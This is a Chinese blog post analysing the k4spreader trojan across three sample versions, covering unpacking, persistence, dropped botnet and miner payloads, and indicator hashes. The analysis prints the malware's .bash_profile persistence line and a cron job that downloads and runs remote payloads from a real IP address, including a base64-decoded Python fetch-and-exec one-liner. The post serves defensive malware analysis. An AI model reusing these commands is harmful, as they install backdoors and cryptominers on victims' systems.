k4spreader木马详细分析--国内大量企业和单位被感染

于 2024-07-08 16:13:24 发布
阅读量636 收藏 17
点赞数 16
文章标签： 人工智能 机器学习 web安全 安全 数据库 计算机网络 安全威胁分析
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jennycisp/article/details/140271514
版权

概述

近日，笔者在浏览微博的时候，无意间发现XX大佬发了一条微博，微博中贴了一张图，图中展示了部分被k4spreader木马感染的国内企业和单位列表（近50余家），好奇心驱使，笔者就简单跟进了一下此事件，发现此事件也是最近才被奇安信X实验室曝光，相关事件报告为《8220挖矿团伙的新玩具：k4spreader》。通过详细的对事件报告进行研读，笔者也基本清楚了整个事件的攻击链路，同时笔者也尝试基于报告中的Hash信息下载了对应的样本进行分析，通过分析对比，笔者发现，此事件报告主要是从宏观角度进行的技术分享，并未对每个样本里面的技术手法细节进行分享。因此，笔者在这里就将自己的样本分析过程分享出来，供大家学习交流。

相关微博截图如下：

在这里插入图片描述

微博上关于被感染企业和单位的截图如下：

在这里插入图片描述

v1版本样本

单层UPX加壳

查壳发现此样本被UPX加壳，直接在kali系统中使用upx -d 命令即可对此样本做脱壳处理。

在这里插入图片描述

大量k4spreader字符串

使用IDA对此样本进行反编译，发现此样本是由Golang语言编写，反编译后的函数名包含k4spreader字符串。

在这里插入图片描述

文件锁

尝试动态运行此样本，发现此样本的入口函数为main_main()，样本运行后，将通过文件锁的方式确保系统中只运行一个木马实例。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

具体功能实现函数为：main_checkLockFilesAndRun，运行后将调用开源https://github.com/gofrs/flock库的功能，在/tmp/目录中创建.klibsystem4.lock隐藏文件，此文件中将存放当前进程PID信息。

在这里插入图片描述

代码运行过程中，将使用syscall指令触发系统调用。

在这里插入图片描述

在这里插入图片描述

执行回显

样本运行过程中，将打印字符串信息Secured\n。

在这里插入图片描述

在这里插入图片描述

自我复制

样本运行过程中，将通过调用k4spreader_utils_SelfReplicate函数实现自我复制。

获取当前进程的有效用户ID

样本将使用syscall指令触发getuid函数调用，获取当前进程的有效用户ID，然后根据用户ID选择不同自我复制方式：

  • root用户：返回0，调用k4spreader_utils_SetupAndStartKnlibService函数、k4spreader_utils_CreateSystemService函数
  • 非root用户：返回非0，调用k4spreader_utils_AddLineToBashProfile函数

在这里插入图片描述

在这里插入图片描述

修改bash

调用k4spreader_utils_AddLineToBashProfile函数实现自我复制，在用户目录下的.bash_profile文件（.bash_profile文件在用户登录时被执行，其主要作用是配置和初始化用户的命令行环境，以及提供一个自定义和控制登录行为的地方）中添加字符串，字符串内容为：

cp -f -r --  /bin/klibsystem4 2\>/dev/null && /bin/klibsystem4 >/dev/null 2\>&1 && rm -rf -- /bin/klibsystem4 2\>/dev/null

在这里插入图片描述

在这里插入图片描述

添加系统服务

通过调用k4spreader_utils_SetupAndStartKnlibService函数，创建/etc/init.d/knlib文件以实现添加系统服务的功能。

在这里插入图片描述

在这里插入图片描述

通过调用k4spreader_utils_CreateSystemService函数，创建/etc/systemd/system/knlibe.service文件以实现添加系统服务的功能。

在这里插入图片描述

在这里插入图片描述

复制自身至/bin/knlib

将当前样本复制至/bin/knlib路径，便于相关系统服务调用。

在这里插入图片描述

执行go协程

执行完前序持久化驻留代码后，样本将创建go协程，用于执行恶意功能。

在这里插入图片描述

创建计划任务

通过调用k4spreader_utils_MakeCron函数，实现如下操作：

  • 调用k4spreader_utils_GetDownloadRoute函数外联获取2.gif载荷下载地址；（笔者推测的，若有误，欢迎指出）

在这里插入图片描述

在这里插入图片描述

  • 字符串拼接；指令功能：每10分钟执行一次外联下载2.gif、d.py；
echo '\*/10 \* \* \*\* (curl -s %s/2.gif || wget -q -O - %s/2.gif ||lwp-download %s/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/2.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn | base64 -d| bash' | crontab -


cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn

#base64解码
python -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146:443/d.py").read())' || python2 -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146/d.py").read())'
  • 执行指令，以实现创建计划任务；

在这里插入图片描述

释放并运行文件

通过调用k4spreader_utils_ExecuteEmbeddedBin函数，实现从自身释放bi.64和bin.64文件，释放的文件为Tsunami僵尸网络和PwnRig挖矿病毒。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

运行释放文件后，样本将删除释放文件。

在这里插入图片描述

外联下载

若释放文件失败，则样本将外联下载Tsunami僵尸网络和PwnRig挖矿病毒程序。

在这里插入图片描述

在这里插入图片描述

v2版本样本

单层UPX加壳

查壳发现此样本被UPX加壳，直接在kali系统中使用upx -d 命令即可对此样本做脱壳处理。

在这里插入图片描述

防火墙指令

此样本运行后，将执行命令，执行关闭防火墙等操作。

在这里插入图片描述

v3版本样本

第一层UPX加壳

查壳发现此样本被UPX加壳，直接在kali系统中使用upx -d 命令即可对此样本做脱壳处理。

在这里插入图片描述

释放文件

对脱壳的样本进行分析，发现此样本的反编译代码并非k4spreader木马代码；进一步分析，发现此样本运行后，将在/tmp/目录释放文件。

在这里插入图片描述

在这里插入图片描述

第二层UPX加壳

查壳发现释放文件也被UPX加壳处理，再次脱壳后分析，发现此样本即为k4spreader v3版本样本。

在这里插入图片描述

在这里插入图片描述

相关IOC

7bade55726a3a6e86d809836d1bc43f4f7702ecde9ceed80a09876c2efeff8d4 - v1
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712 - v2
0897b1d3e3e453c160bf8d28a041eee3bd29e43a6f063faed7d3cb83a86b88cc - v2
a980b1b0387534da7c9a321f7d450c02087f7a8445fc86b77785da0c510bbaa8 - v2
31fd924b9a5747befdf61c03b02c90d3c2ba93c8e1a9f798e6dfefe23767e1ae - v3
20d08d27631ae9bab8f3cb7cddd9b35fb75e5bee5764072f77ac3b4513307838 - v3

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料，希望对想学习 网络安全的小伙伴们有帮助！

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取技术文档】

在这里插入图片描述

（都打包成一块的了，不能一一展开，总共300多集）

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN，也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

img

颜若御
关注
【数学建模】PR-SIR 消息传播模型（分析一条消息在自媒体平台上传播的数学模型）
Fanjufei的博客
05-12 1700
1、问题描述 建立一条消息在自媒体平台上传播的数学模型，分析其传播过程。 2、问题解决流程 将信 息 传 播 过 程 中 的 网络 节 点 分 为 三 种 ： 未知 者（Ignorant）、传播者（Spreader）和免疫者（Stifler）。基于 PageRank 算法，以传统传染病模型为依靠，本文依次建立传播者免疫机制、未知者传播机制模型，构绘出信息传播网络图，通过稳态分析建立三节点密度函数表达式。最终建立非均质无标度网络下的 PR-SIR 消息传播模型，以“中共中央、国务院决定设立河北雄安新区”
k4.xls 病毒清除程序 宏病毒专杀
06-14
k4.xls 病毒清除程序 宏病毒专杀，本人清测。
【首发】'k4' 宏病毒专杀 原创新型excel宏病毒专杀工具
热门推荐
Tao2581 日常小记
08-25 1万+
近日公司大量excel发现一种office宏病毒，使用360 金山 等等均不能查杀，  下载金山版的宏病毒专杀 只杀了一部分，另一种类型的宏病毒无论如何也杀不掉。 发作症状如图： office宏病毒专杀工具下载：http://download.csdn.net/detail/tao2581/4524743 搜索资料这种宏病毒称为k4宏病毒， 众多杀毒软件都无法查找可能在杀软看来这不是什么
Excel K4宏病毒专杀
diaoquan4385的博客
05-31 2307
打开execl文档 发现二义性的名称：auto_open 打开execl文档 发现二义性的名称：auto_open 重装也不行---------------------又见这个问题，很不幸，你可能中了宏病毒。上次帮一个家伙解决这个问题，我还以为是他自己写的宏呢，结果搞得我所有excel文件都被感染了。后来一查，这个病毒叫K4.xls宏病毒，最近两个月才爆发的。光在百度知道里我就遇到过好几...
k4宏病毒专杀工具.rar
11-15
我找到的一个k4宏病毒专杀工具,请大家验证
[首发] office宏病毒专杀工具 k4 宏病毒专杀 查杀360等杀软不能查杀的新型宏病毒
08-25
原创首发：宏病毒专杀工具，查找k4宏病毒特征码，查杀指定目录下的office宏病毒，专杀excel宏病毒， 推荐与金山宏病毒专杀工具组合使用，本工具能够查杀金山宏专杀无法查杀的 k4宏病毒
DM368开发 -- 硬件认识
不积跬步，无以至千里
06-20 4799
最近到了找工作准备期，之前已将C语言、数据结构与算法、APUE总结完毕，现在需要抓紧将以往项目加以总结。关于 DM368 首先我们先从硬件部分开始讲起，然后再讲环境搭建、系统移植、文件烧写、最后程序开发。一、认识开发板参看下面网址可下载 DM368 参考原理图和 Gerber 文件。参看：EVMDM368 Support Home参看：EVMDM365 Support HomeDM365 与 DM
Fanless 24-Port Gigabit Switch Recommendation
yukiitao的博客
11-10 550
Recently, many people have jumped on the bandwagon to use the 24-port Gigabit managed switch with advanced administrative controls. In particular, 24-port switch with PoE technology provides people wi...
DOCSIS 3.1 MMM--4.RNG-REQ
weixin_43201868的博客
05-25 395
原文 6.4.5 Ranging Request Messages Ranging Request messages are transmitted by a CM at initialization on an upstream and periodically (for upstream Types 1-4) on request from the CMTS to determine network delay and request power adjustment. There are four t
High Power M2 Heat Spreader ECN-Jun 9-2020.pdf
08-20
随着技术的发展和应用的需求，M.2规格也在不断更新和升级，比如本次的文件中提到的《High Power M2 Heat Spreader ECN-Jun 9-2020.pdf》。 从文件的描述和内容中，我们可以提取出以下几点重要的知识点： 1. 功能...
宏病毒免疫
11-22
在公司办公经常遇到宏病毒，有的时候打开excel，就自动新建名字为marco的sheet工作簿，或者自动发邮件，杀毒软件难以清除。 本免疫工具在启动excel时自动加载，先清除带宏病毒的模块，我自己用了很久了，还不错，分享给大家！
feed-spreader-workspace
03-08
在"feed-spreader-workspace-main"这个主文件夹中，我们可以预期找到项目的核心代码和配置。这个项目可能包含以下几个关键部分： 1. **源代码**：TypeScript项目通常遵循模块化结构，源代码可能分布在`src`目录下，...
Laravel开发-spreader
08-28
**Laravel 开发 - Spreader 框架详解** 在 Laravel 开发中，"Spreader" 是一个专门设计用于消息推送的可扩展库。它旨在提高应用的响应处理能力，帮助开发者更有效地管理并发送各种类型的消息，如电子邮件、短信、...
SAE ARP6059A 2023 Solid De-Icing-Anti-Icing Material Spreader
最新发布
09-02
SAE ARP6059A Solid De-Icing-Anti-Icing Material Spreader for Airport Application(STABILIZED Feb 2023).pdf
针对 FORTS 市场的高频交易 Spreader - MetaTrader 5EA.zip
09-13
5. **数据处理**：EA可能会实时分析大量的市场数据，包括历史数据和实时流数据，以识别有利的交易机会。 6. **回测与优化**：在部署到真实账户之前，EA通常会进行回测，检验其在历史数据上的表现，并通过优化参数来...
新型K4宏病毒代码分析报告
ccx_john的专栏
10-01 3754
最近据说是新型的K4宏病毒到处肆虐，感染了办公室不少.xls文件，杀又杀不干净。对此互比较感兴趣，花了点时间跟踪了一下代码，并作了简要注释，基本了解该病毒的行为： 　　以ToDOLE模块中的代码，在虚拟机XP+Excel2003下跟踪并注释了关键代码： 　　'病毒行为主过程 　　Private Sub auto_open() 　　Application.DisplayAle
minerd和wnTKYg进程（病毒）--被攻击CPU占用率达到100%
橡皮的博客
03-13 8333
今天登录服务器感觉服务器特别的慢。结果查看发现有两个进程占用CPU100%了，一个是minerd一个是wnTKYg。如果大家遇到请小心。查看服务器各个程序占用资源量 [root@iZ2zeayj54m6qs0689jm39Z ~]# top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
宏病毒分析
mez_Blog的博客
05-06 4717
1.实训目的掌握宏病毒的制作方法2.实训环境PC、Windows 8、Windows 7、Windows xp等操作系统，office办公软件3.实训内容制作宏病毒，并运行分析。具体实训步骤如下：（1）启动word，创建一个新文档（2）在新文档中打开工具菜单、选择宏、查看宏（3）为宏起一个名字，自动宏的名字规定必须为autoexec（4）单击创建按钮（5）在宏代码编辑窗口，输入VB代码Shell（...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

颜若御

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值